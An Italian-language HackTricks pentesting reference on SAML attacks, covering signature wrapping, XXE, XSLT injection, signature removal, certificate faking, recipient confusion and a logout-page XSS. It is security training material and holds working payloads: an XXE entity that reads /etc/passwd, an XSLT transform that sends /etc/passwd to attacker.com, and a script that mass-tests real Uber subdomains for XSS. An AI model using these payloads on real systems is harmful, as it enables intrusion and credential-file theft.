hacktricks/pentesting-web/saml-attacks

Attacchi SAML

Attacchi SAML

Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

• Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
• Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.

Informazioni di Base

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Strumento

SAMLExtractor: Uno strumento che può prendere un URL o un elenco di URL e restituire l'URL di consumo SAML.

Round-trip XML

In XML la parte firmata dell'XML viene salvata in memoria, quindi viene eseguito un certo encoding/decoding e viene controllata la firma. Idealmente quell'encoding/decoding non dovrebbe modificare i dati ma in base a quel scenario, i dati controllati e i dati originali potrebbero non essere gli stessi.

Ad esempio, controlla il seguente codice:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Eseguire il programma contro REXML 3.2.4 o versioni precedenti produrrà il seguente output:

First child in original doc: Y
First child after round-trip: Z

Questo è come REXML ha visto il documento XML originale dal programma sopra:

E questo è come lo ha visto dopo una serie di analisi e serializzazione:

Per ulteriori informazioni sulla vulnerabilità e su come sfruttarla:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Attacchi di Avvolgimento della Firma XML

Negli attacchi di Avvolgimento della Firma XML (XSW), gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: validazione della firma e invocazione della funzione. Questi attacchi comportano l'alterazione della struttura del documento XML. In particolare, l'attaccante inietta elementi falsificati che non compromettono la validità della Firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla logica dell'applicazione e quelli controllati dal modulo di verifica della firma. Di conseguenza, mentre la Firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli elementi fraudolenti. Di conseguenza, l'attaccante riesce a eludere con successo la protezione dell'integrità della Firma XML e l'autenticazione dell'origine, consentendo l'iniezione di contenuti arbitrari senza essere rilevato.

Gli attacchi seguenti si basano su questo post del blog e questo paper. Quindi controlla quelli per ulteriori dettagli.

XSW #1

• Strategia: Viene aggiunto un nuovo elemento radice contenente la firma.
• Implicazioni: Il validatore potrebbe confondersi tra il legittimo "Risposta -> Assertiva -> Soggetto" e il "nuovo malvagio Risposta -> Assertiva -> Soggetto" dell'attaccante, portando a problemi di integrità dei dati.

XSW #2

• Differenza da XSW #1: Utilizza una firma distaccata invece di una firma avvolgente.
• Implicazioni: La struttura "malvagia", simile a XSW #1, mira a ingannare la logica aziendale dopo il controllo dell'integrità.

XSW #3

• Strategia: Viene creata un'Assertiva malvagia allo stesso livello gerarchico dell'assertiva originale.
• Implicazioni: Intende confondere la logica aziendale nell'utilizzo dei dati dannosi.

XSW #4

• Differenza da XSW #3: L'Assertiva originale diventa un figlio dell'Assertiva duplicata (malvagia).
• Implicazioni: Simile a XSW #3 ma modifica in modo più aggressivo la struttura XML.

XSW #5

• Aspetto Unico: Né la Firma né l'Assertiva originale rispettano le configurazioni standard (avvolgente/distaccata).
• Implicazioni: L'Assertiva copiata avvolge la Firma, modificando la struttura del documento prevista.

XSW #6

• Strategia: Inserimento della posizione simile a XSW #4 e #5, ma con una variazione.
• Implicazioni: L'Assertiva copiata avvolge la Firma, che a sua volta avvolge l'Assertiva originale, creando una struttura ingannevole nidificata.

XSW #7

• Strategia: Viene inserito un elemento Estensioni con l'Assertiva copiata come figlio.
• Implicazioni: Questo sfrutta lo schema meno restrittivo dell'elemento Estensioni per eludere le contromisure di convalida dello schema, specialmente nelle librerie come OpenSAML.

XSW #8

• Differenza da XSW #7: Utilizza un altro elemento XML meno restrittivo per una variante dell'attacco.
• Implicazioni: L'Assertiva originale diventa un figlio dell'elemento meno restrittivo, invertendo la struttura utilizzata in XSW #7.

Strumento

Puoi utilizzare l'estensione Burp SAML Raider per analizzare la richiesta, applicare qualsiasi attacco XSW che scegli e lanciarlo.

XXE

Se non sai che tipo di attacchi sono gli XXE, leggi la seguente pagina:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Le Risposte SAML sono documenti XML compressi e codificati in base64 e possono essere suscettibili agli attacchi di Entità Esterna XML (XXE). Manipolando la struttura XML della Risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Strumenti

Puoi anche utilizzare l'estensione Burp SAML Raider per generare il POC da una richiesta SAML per testare possibili vulnerabilità XXE e vulnerabilità SAML.

Guarda anche questo talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT tramite SAML

Per ulteriori informazioni su XSLT vai a:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Le Trasformazioni di Linguaggio di Stile Estensibile (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma auto-firmata o non valida è sufficiente per procedere.

Qui puoi trovare un POC per verificare questo tipo di vulnerabilità, nella pagina di hacktricks menzionata all'inizio di questa sezione puoi trovare dei payload.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Strumento

È possibile utilizzare l'estensione Burp SAML Raider per generare il POC da una richiesta SAML per testare possibili vulnerabilità XSLT.

Controlla anche questo talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

Esclusione della Firma XML

L'Esclusione della Firma XML osserva il comportamento delle implementazioni SAML quando l'elemento Firma non è presente. Se questo elemento manca, la validazione della firma potrebbe non avvenire, rendendola vulnerabile. È possibile testare ciò alterando i contenuti che vengono di solito verificati dalla firma.

Strumento

È possibile utilizzare anche l'estensione Burp SAML Raider. Intercetta la Risposta SAML e clicca su Remove Signatures. In questo modo vengono rimossi tutti gli elementi Firma.

Con le firme rimosse, permetti alla richiesta di procedere verso il target. Se la Firma non è richiesta dal Servizio

Falsificazione del Certificato

La Falsificazione del Certificato è una tecnica per testare se un Service Provider (SP) verifica correttamente che un Messaggio SAML sia firmato da un Identity Provider (IdP) fidato. Coinvolge l'uso di un *certificato auto-firmato per firmare la Risposta o l'Affermazione SAML, che aiuta a valutare il processo di convalida della fiducia tra SP e IdP.

Come Condurre la Falsificazione del Certificato

I seguenti passaggi delineano il processo utilizzando l'estensione Burp SAML Raider:

1. Intercepisci la Risposta SAML.
2. Se la risposta contiene una firma, invia il certificato a SAML Raider Certs utilizzando il pulsante Send Certificate to SAML Raider Certs.
3. Nella scheda Certificati di SAML Raider, seleziona il certificato importato e clicca su Save and Self-Sign per creare un clone auto-firmato del certificato originale.
4. Torna alla richiesta intercettata nel Proxy di Burp. Seleziona il nuovo certificato auto-firmato dal menu a discesa della Firma XML.
5. Rimuovi eventuali firme esistenti con il pulsante Remove Signatures.
6. Firma il messaggio o l'affermazione con il nuovo certificato utilizzando il pulsante (Re-)Sign Message o (Re-)Sign Assertion, a seconda del caso.
7. Inoltra il messaggio firmato. Un'autenticazione riuscita indica che lo SP accetta messaggi firmati dal tuo certificato auto-firmato, rivelando potenziali vulnerabilità nel processo di convalida dei messaggi SAML.

Confusione del Destinatario del Token / Confusione del Target del Service Provider

La Confusione del Destinatario del Token e la Confusione del Target del Service Provider coinvolgono il controllo se il Service Provider convalida correttamente il destinatario previsto di una risposta. In sostanza, un Service Provider dovrebbe rifiutare una risposta di autenticazione se era destinata a un provider diverso. L'elemento critico qui è il campo Recipient, trovato all'interno dell'elemento SubjectConfirmationData di una Risposta SAML. Questo campo specifica un URL che indica dove l'Affermazione deve essere inviata. Se il destinatario effettivo non corrisponde al Service Provider previsto, l'Affermazione dovrebbe essere considerata non valida.

Come Funziona

Perché un attacco di Confusione del Destinatario del Token SAML (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. In primo luogo, deve esistere un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider mirato (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.

Il processo di attacco è semplice in queste condizioni. Viene avviata una sessione autentica con SP-Legit tramite l'Identity Provider condiviso. La Risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa Risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco è misurato dal fatto che SP-Target accetta l'Affermazione, concedendo l'accesso alle risorse con lo stesso nome account utilizzato per SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS nella funzionalità di Logout

La ricerca originale può essere consultata tramite questo link.

Durante il processo di forza bruta della directory, è stata scoperta una pagina di logout su:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Una volta che si accede a questo link, si è reindirizzati a:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Questo ha rivelato che il parametro base accetta un URL. Considerando ciò, è emersa l'idea di sostituire l'URL con javascript:alert(123); nel tentativo di avviare un attacco XSS (Cross-Site Scripting).

Sfruttamento di Massa

Da questa ricerca:

Lo strumento SAMLExtractor è stato utilizzato per analizzare i sottodomini di uberinternal.com per individuare domini che utilizzano la stessa libreria. Successivamente, è stato sviluppato uno script per mirare alla pagina oidauth/prompt. Questo script testa per XSS (Cross-Site Scripting) inserendo dati e verificando se vengono riflessi nell'output. Nei casi in cui l'input viene effettivamente riflessi, lo script contrassegna la pagina come vulnerabile.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Riferimenti

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

• Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
• Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.